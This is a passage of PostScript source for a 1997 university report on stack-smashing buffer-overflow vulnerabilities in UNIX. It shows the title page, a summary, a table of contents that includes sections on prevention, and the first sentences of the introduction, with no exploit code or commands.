60 /less 98 /b 190 /threequarters 99 /c 100 /d 55 /seven 101 /e 102 /f 54 /six 103 /g 51 /three 104 /h 105 /i 106 /j 107 /k 161 /exclamdown 108 /l 109 /m 57 /nine 110 /n 111 /o 112 /p 39 /quoteright 34 /quotedbl 253 /yacute 237 /iacute 225 /aacute 221 /Yacute 205 /Iacute 193 /Aacute 113 /q 114 /r 115 /s 116 /t 117 /u 118 /v 119 /w 120 /x 121 /y 122 /z 92 /backslash 163 /sterling 251 /ucircumflex 244 /ocircumflex 238 /icircumflex 234 /ecircumflex 226 /acircumflex 219 /Ucircumflex 212 /Ocircumflex 206 /Icircumflex 202 /Ecircumflex 194 /Acircumflex 158 /circumflex 223 /germandbls 255 /ydieresis 252 /udieresis 246 /odieresis 239 /idieresis 235 /edieresis 228 /adieresis 220 /Udieresis 214 /Odieresis 207 /Idieresis 203 /Edieresis 196 /Adieresis 168 /dieresis 188 /onequarter 176 /degree 164 /currency 156 /ring 187 /guillemotright 208 /Eth 32 /space 177 /plusminus 229 /aring 197 /Aring 61 /equal 38 /ampersand 37 /percent 230 /ae 59 /semicolon 247 /divide 43 /plus 94 /asciicircum 174 /registered 181 /mu 125 /braceright 62 /greater 243 /oacute 211 /Oacute 64 /at 166 /brokenbar 173 /minus 248 /oslash 216 /Oslash 172 /logicalnot 198 /AE 182 /paragraph 236 /igrave 224 /agrave 204 /Igrave 192 /Agrave 48 /zero 175 /macron 41 /parenright 241 /ntilde 209 /Ntilde 96 /quoteleft 46 /period 231 /ccedilla 199 /Ccedilla 167 /section 63 /question 155 /dotlessi 91 /bracketleft 157 /grave 169 /copyright 250 /uacute 233 /eacute 218 /Uacute 201 /Eacute 245 /otilde 213 /Otilde 126 /asciitilde ] def /DEFINEFONTS { /AXFont2p120000 /Times-Italic FINDFONT 12.000 POINTSCALEFONT def /AXFont2p100000 /Times-Italic FINDFONT 10.000 POINTSCALEFONT def /AXFont2p60000 /Times-Italic FINDFONT 6.000 POINTSCALEFONT def /AXFont4p80000 /Courier-Bold FINDFONT 8.000 POINTSCALEFONT def /AXFont5p80000 /Courier FINDFONT 8.000 POINTSCALEFONT def /AXFont5p100000 /Courier FINDFONT 10.000 POINTSCALEFONT def /AXFont5p120000 /Courier FINDFONT 12.000 POINTSCALEFONT def /AXFont5p60000 /Courier FINDFONT 6.000 POINTSCALEFONT def /AXFont5p110000 /Courier FINDFONT 11.000 POINTSCALEFONT def /AXFont5p90000 /Courier FINDFONT 9.000 POINTSCALEFONT def /AXFont0p180000 /Helvetica FINDFONT 18.000 POINTSCALEFONT def /AXFont1p160000 /Times-Bold FINDFONT 16.000 POINTSCALEFONT def /AXFont1p140000 /Times-Bold FINDFONT 14.000 POINTSCALEFONT def /AXFont1p100000 /Times-Bold FINDFONT 10.000 POINTSCALEFONT def /AXFont1p120000 /Times-Bold FINDFONT 12.000 POINTSCALEFONT def /AXFont6p140000 /Symbol FINDFONT 14.000 POINTSCALEFONT def /AXFont6p180000 /Symbol FINDFONT 18.000 POINTSCALEFONT def /AXFont6p120000 /Symbol FINDFONT 12.000 POINTSCALEFONT def /Times-Roman /ETimes-Roman evISOLatin1Encoding ReEncodeSmall /AXFont3p120000 /ETimes-Roman FINDFONT 12.000 POINTSCALEFONT def /Times-Roman /ETimes-Roman evISOLatin1Encoding ReEncodeSmall /AXFont3p80000 /ETimes-Roman FINDFONT 8.000 POINTSCALEFONT def /Times-Roman /ETimes-Roman evISOLatin1Encoding ReEncodeSmall /AXFont3p100000 /ETimes-Roman FINDFONT 10.000 POINTSCALEFONT def /Times-Roman /ETimes-Roman evISOLatin1Encoding ReEncodeSmall /AXFont3p140000 /ETimes-Roman FINDFONT 14.000 POINTSCALEFONT def /Times-Roman /ETimes-Roman evISOLatin1Encoding ReEncodeSmall /AXFont3p160000 /ETimes-Roman FINDFONT 16.000 POINTSCALEFONT def /Times-Roman /ETimes-Roman evISOLatin1Encoding ReEncodeSmall /AXFont3p180000 /ETimes-Roman FINDFONT 18.000 POINTSCALEFONT def /Times-Roman /ETimes-Roman evISOLatin1Encoding ReEncodeSmall /AXFont3p110000 /ETimes-Roman FINDFONT 11.000 POINTSCALEFONT def /Times-Roman /ETimes-Roman evISOLatin1Encoding ReEncodeSmall /AXFont3p90000 /ETimes-Roman FINDFONT 9.000 POINTSCALEFONT def /Times-Roman /ETimes-Roman evISOLatin1Encoding ReEncodeSmall /AXFont3p60000 /ETimes-Roman FINDFONT 6.000 POINTSCALEFONT def } def %%EndProlog %%BeginSetup %%IncludeResource: font Times-Italic %%IncludeResource: font Courier-Bold %%IncludeResource: font Courier %%IncludeResource: font Helvetica %%IncludeResource: font Times-Bold %%IncludeResource: font Symbol %%IncludeResource: font Times-Roman DEFINEFONTS systemdict /setcmykcolor known { /SET_CMYK { setcmykcolor } bd } { /SET_CMYK { exch .2 mul add exch .4 mul add exch .3 mul add dup 1 gt {pop 1} {} ifelse 1 exch sub setgray } bd } ifelse systemdict /colorimage known { /GET_CMYK { currentcmykcolor } bd } { /GET_CMYK { 0 0 0 1 currentgray sub } bd } ifelse systemdict /colorimage known { /COLORIMAGE { false 4 colorimage } bd /SELECTBUF { pop } bd } { /COLORIMAGE { image } bd /SELECTBUF { exch pop } bd } ifelse %%EndSetup %%Page: 1 1 %%BeginPageSetup save /AXPageSave exch def DOSETUP 0 11000 8500 0 DOCLIPBOX %%EndPageSetup 0.0000 0.0000 0.0000 1.0000 SET_CMYK AXFont1p160000 SETFONT GS n 2859 8198 M (Stack Smashing Vulnerabilities) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 4257 7941 M (in) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 4443 7941 M ( ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 3006 7684 M (the UNIX Operating System) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 5693 7684 M ( ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK AXFont2p120000 SETFONT GS n 3802 7157 M (Nathan P. Smith) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 3643 6964 M (nate@millcomm.com) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK AXFont3p120000 SETFONT GS n 2272 6771 M (http://millcomm.com/~nate) ST -1 0 MR (/) ST -1 0 MR (m) ST -1 0 MR (a) ST -1 0 MR (c) ST -1 0 MR (h) ST -1 0 MR (i) ST -1 0 MR (n) ST -1 0 MR (e) ST -1 0 MR (s) ST -1 0 MR (/) ST -1 0 MR (s) ST -1 0 MR (e) ST -1 0 MR (c) ST -1 0 MR (u) ST -1 0 MR (r) ST -1 0 MR (i) ST -1 0 MR (t) ST -1 0 MR (y) ST -1 0 MR (/) ST -1 0 MR (s) ST -1 0 MR (t) ST -1 0 MR (a) ST -1 0 MR (c) ST -1 0 MR (k) ST -1 0 MR (-) ST -1 0 MR (s) ST -1 0 MR (m) ST -1 0 MR (a) ST -1 0 MR (s) ST -1 0 MR (h) ST -1 0 MR (i) ST -1 0 MR (n) ST -1 0 MR (g) ST -1 0 MR (/) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 3323 6418 M (Computer Science Department) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 3067 6225 M (Southern Connecticut State University) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 3697 6032 M (501 Crescent Street) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 3262 5839 M (New Haven, Connecticut 06515) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK AXFont1p140000 SETFONT GS n 3940 4821 M (Summary) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK AXFont3p120000 SETFONT GS n 1700 4621 M (By ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1959 4621 M (combining ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 2734 4621 M (permission ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 3529 4621 M (features ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 4121 4621 M (of ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 4324 4621 M (UNIX ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 4804 4621 M (operating ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 5496 4621 M (system ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 6023 4621 M (and ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 6327 4621 M (features ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 6919 4621 M (of ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 7122 4621 M (the ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 7389 4621 M (C ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1200 4428 M (programming ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 2218 4428 M (language, ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 2965 4428 M (it ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 3162 4428 M (is ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 3378 4428 M (possible ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 4028 4428 M (for ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 4328 4428 M (an ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 4590 4428 M (underprivileged ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 5748 4428 M (user ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 6131 4428 M (or ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 6375 4428 M (process ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 6980 4428 M (to ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 7214 4428 M (gain ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1200 4235 M (unrestricted ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 2049 4235 M (system ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 2575 4235 M (privilege. ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 3313 4235 M (Common ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 3996 4235 M (to ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 4188 4235 M (many ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 4621 4235 M (high ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 4979 4235 M (profile ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 5486 4235 M (UNIX ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 5965 4235 M (security ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 6555 4235 M (incidents, ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 7260 4235 M (this ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1200 4042 M (report ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1659 4042 M (analyzes ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 2288 4042 M (how ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 2630 4042 M (these ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 3028 4042 M (exploits ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 3610 4042 M (are ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 3870 4042 M (constructed, ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 4735 4042 M (why ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 5077 4042 M (they ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 5419 4042 M (work ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 5817 4042 M (and ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 6113 4042 M (what ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 6492 4042 M (can ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 6779 4042 M (be ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 6992 4042 M (done ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 7371 4042 M (to ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1200 3849 M (prevent the problem.) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK AXFont3p80000 SETFONT GS n 1200 2427 M (Copyright \323) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1761 2427 M ( 1997 Smith, Distribution and Reproduction shall remain free of charge) ST GR %%PageTrailer AXPageSave restore showpage %%Page: 2 2 %%BeginPageSetup save /AXPageSave exch def DOSETUP %%EndPageSetup 0.0000 0.0000 0.0000 1.0000 SET_CMYK AXFont1p100000 SETFONT GS n 1200 10624 M (Stack Smashing Vulnerabilities in the UNIX Operating System) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 6811 10624 M (Page 9) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK AXFont3p100000 SETFONT GS n 3998 284 M (May 7, 1997) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK AXFont3p140000 SETFONT GS n 1200 9823 M (Table of Contents) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1200 9355 M (1. ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1450 9355 M (Introduction\ \205\ \205\ \205\ \205\205\205\205\205\205\205\205\205\205\205\205\205\205\205\205\205\205\205\205) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 6950 9355 M (2) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1200 9047 M (2. ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1450 9047 M (Terms\ \205\ \205\ \205\ \205\ \205\ \205\ \205\205\205\205\205\205\205\205\205\205\205\205\205\205\205\205\205\205\205..) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 6950 9047 M (2) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1700 8739 M (2.1 ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1950 8431 M (Fandango on Core\ \205\205\205\205\205\205\205\205\205\205\205\205\205\205\205\205\205\2052) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1700 8123 M (2.2 ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1950 7815 M (Overrun Screw\ \205\205\205\205\205\205\205\205\205\205\205\205\205\205\205\205\205\205\205.) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 6950 7815 M (2) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1700 7507 M (2.3 ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1950 7199 M (Smashing, Trashing, Scribbling the Stack\205\205\205\205\205\205\205\205..) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 6950 7199 M (3) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1700 6891 M (2.4 ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1950 6583 M (Aliasing/Stale/Dangling Pointer Bug\205\205\205\205\205\205\205\205\205\205.) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 6950 6583 M (3) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1200 6275 M (3. ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1450 6275 M (Stack Smashing Publicity\ \205\205\205\205\205\205\205\205\205\205\205\205\205\205\205\205\205..) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 6950 6275 M (3) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1700 5967 M (3.1 ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1950 5659 M (Security Professionals\ \205\205\205\205\205\205\205\205\205\205\205\205\205\205\205\205.) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 6950 5659 M (3) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1700 5351 M (3.2 ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1950 5043 M (Underground Community\ \205\205\205\205\205\205\205\205\205\205\205\205\205\205\205) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 6950 5043 M (6) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1200 4735 M (4. ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1450 4735 M (UNIX Filesystem Permissions\ \205\205\205\205\205\205\205\205\205\205\205\205\205\205\205\205) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 6950 4735 M (7) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1200 4427 M (5. ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1450 4427 M (UNIX and the C Programming Language\205\205\205\205\205\205\205\205\205\205\205.\ .) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 6950 4427 M (8) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1200 4119 M (6. ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1450 4119 M (Tools used for testing\ \205\205\205\205\205\205\205\205\205\205\205\205\205\205\205\205\205\205\205.) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 6950 4119 M (9) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1200 3811 M (7. ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1450 3811 M (UNIX Processes and the Stack\ \205\205\205\205\205\205\205\205\205\205\205\205\205\205\205..) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 6950 3811 M (11) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1700 3503 M (7.1 ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 6950 3503 M (Intel ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1950 3195 M (x86 Implementation under the Linux\205\205\205\205\205\205\205\205.) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 6950 3195 M (12) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1200 2887 M (8. ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1450 2887 M (Buffer Overflows\ \205\ \205\205\205\205\205\205\205\205\205\205\205\205\205\205\205\205\205\205\205\205) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 6950 2887 M (14) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1200 2579 M (9. ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1450 2579 M (Shell Code\ \205\ \205\ \205\ \205\ \205\205\205\205\205\205\205\205\205\205\205\205\205\205\205\205\205\205\205..) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 6950 2579 M (16) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1700 2271 M (9.1 ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1950 1963 M (Creative Stack Smashing\ \205\205\205\205\205\205\205\205\205\205\205\205\205\205\205) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 6950 1963 M (18) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1200 1655 M (10. ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 6950 1655 M (SUID ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1450 1347 M (root programs by distribution\ \205\205\205\205\205\205\205\205\205\205\205\205\205..) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 6950 1347 M (19) ST GR %%PageTrailer AXPageSave restore showpage %%Page: 3 3 %%BeginPageSetup save /AXPageSave exch def DOSETUP %%EndPageSetup 0.0000 0.0000 0.0000 1.0000 SET_CMYK AXFont1p100000 SETFONT GS n 1200 10624 M (Stack Smashing Vulnerabilities in the UNIX Operating System) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 6811 10624 M (Page 9) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK AXFont3p100000 SETFONT GS n 3998 284 M (May 7, 1997) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK AXFont3p140000 SETFONT GS n 1200 9823 M (11. ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 6950 9823 M (Stack ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1450 9515 M (Smashing Prevention\ \205\205\205\205\205\205\205\205\205\205\205\205\205\205\205\205..) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 6950 9515 M (19) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1700 9207 M (11.1 ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1950 8899 M (Program Modification\ \205\205\205\205\205\205\205\205\205\205\205\205\205\205\205..) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 6950 8899 M (20) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1700 8591 M (11.2 ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1950 8283 M (Compiler Modifications\ \205\205\205\205\205\205\205\205\205\205\205\205\205\205\205) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 6950 8283 M (24) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1700 7975 M (11.3 ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1950 7667 M (CPU/OS Kernel Stack Execution Privilege\205\205\205\205\205\205\205..) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 6950 7667 M (26) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1200 7359 M (12. Conclusion\ \205\ \205\ \205\ \205\ \205\205\205\205\205\205\205\205\205\205\205\205\205\205\205\205\205\205\205.) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 6950 7359 M (29) ST GR %%PageTrailer AXPageSave restore showpage %%Page: 4 4 %%BeginPageSetup save /AXPageSave exch def DOSETUP %%EndPageSetup 0.0000 0.0000 0.0000 1.0000 SET_CMYK AXFont3p100000 SETFONT GS n 1200 1426 M (1) 69 X GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK AXFont3p80000 SETFONT GS n 1269 1385 M ( See RFC 1135 for more information; http://www.pmg.lcs.mit.edu/cgi-bin/rfc/view?\ 1135) 3975 X GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK AXFont3p100000 SETFONT GS n 1200 1271 M (2) 69 X GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK AXFont3p80000 SETFONT GS n 1269 1230 M ( for more information see http://www.takedown.com) 2352 X GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK AXFont3p100000 SETFONT GS n 1200 1644 M (_________________________) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK AXFont1p100000 SETFONT GS n 1200 10624 M (Stack Smashing Vulnerabilities in the UNIX Operating System) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 6811 10624 M (Page 9) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK AXFont3p100000 SETFONT GS n 3998 284 M (May 7, 1997) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK AXFont3p160000 SETFONT GS n 1200 9798 M ( 1. Introduction) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK AXFont3p120000 SETFONT GS n 1700 9508 M (By ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1969 9508 M (combining ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 2747 9508 M (the ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 3017 9508 M (C ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 3195 9508 M (programming ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 4169 9508 M (l) ST -2 0 MR (a) ST -3 0 MR (n) ST -3 0 MR (g) ST -3 0 MR (u) ST -3 0 MR (a) ST -3 0 MR (g) ST -3 0 MR (e) ST -3 0 MR (') ST -3 0 MR (s ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 4931 9508 M (liberal ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 5423 9508 M (approach ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 6100 9508 M (to ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 6296 9508 M (memory ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 6919 9508 M (handling ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1200 9232 M (with ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1547 9232 M (specific ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 2109 9232 M (UNIX ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 2569 9232 M (filesystem ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 3298 9232 M (permissions, ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 4180 9232 M (this ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 4464 9232 M (operating ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 5136 9232 M (system ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 5643 9232 M (can ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 5918 9232 M (be ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 6119 9232 M (manipulated ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 6985 9232 M (to ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 7158 9232 M (grant ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1200 8956 M (unrestricted ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 2050 8956 M (privilege ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 2696 8956 M (to ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 2880 8956 M (unprivileged ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 3775 8956 M (accounts ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 4412 8956 M (or ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 4606 8956 M (users. ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 5046 8956 M (A ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 5221 8956 M (variety ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 5738 8956 M (of ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 5932 8956 M (exploit ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 6448 8956 M (that ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 6752 8956 M (relies ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 7168 8956 M (upon ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1200 8680 M (these ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1604 8680 M (two ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1910 8680 M (factors ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 2421 8680 M (is ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 2589 8680 M (commonly ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 3358 8680 M (known ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 3867 8680 M (as ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 4063 8680 M (a ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK AXFont2p120000 SETFONT GS n 4194 8680 M (buffer ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 4648 8680 M (overflow) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK AXFont3p120000 SETFONT GS n 5230 8680 M (, ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 5329 8680 M (or ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK AXFont2p120000 SETFONT GS n 5525 8680 M (stack ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 5924 8680 M (smashing ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK AXFont3p120000 SETFONT GS n 6609 8680 M (vulnerability. ) ST GR 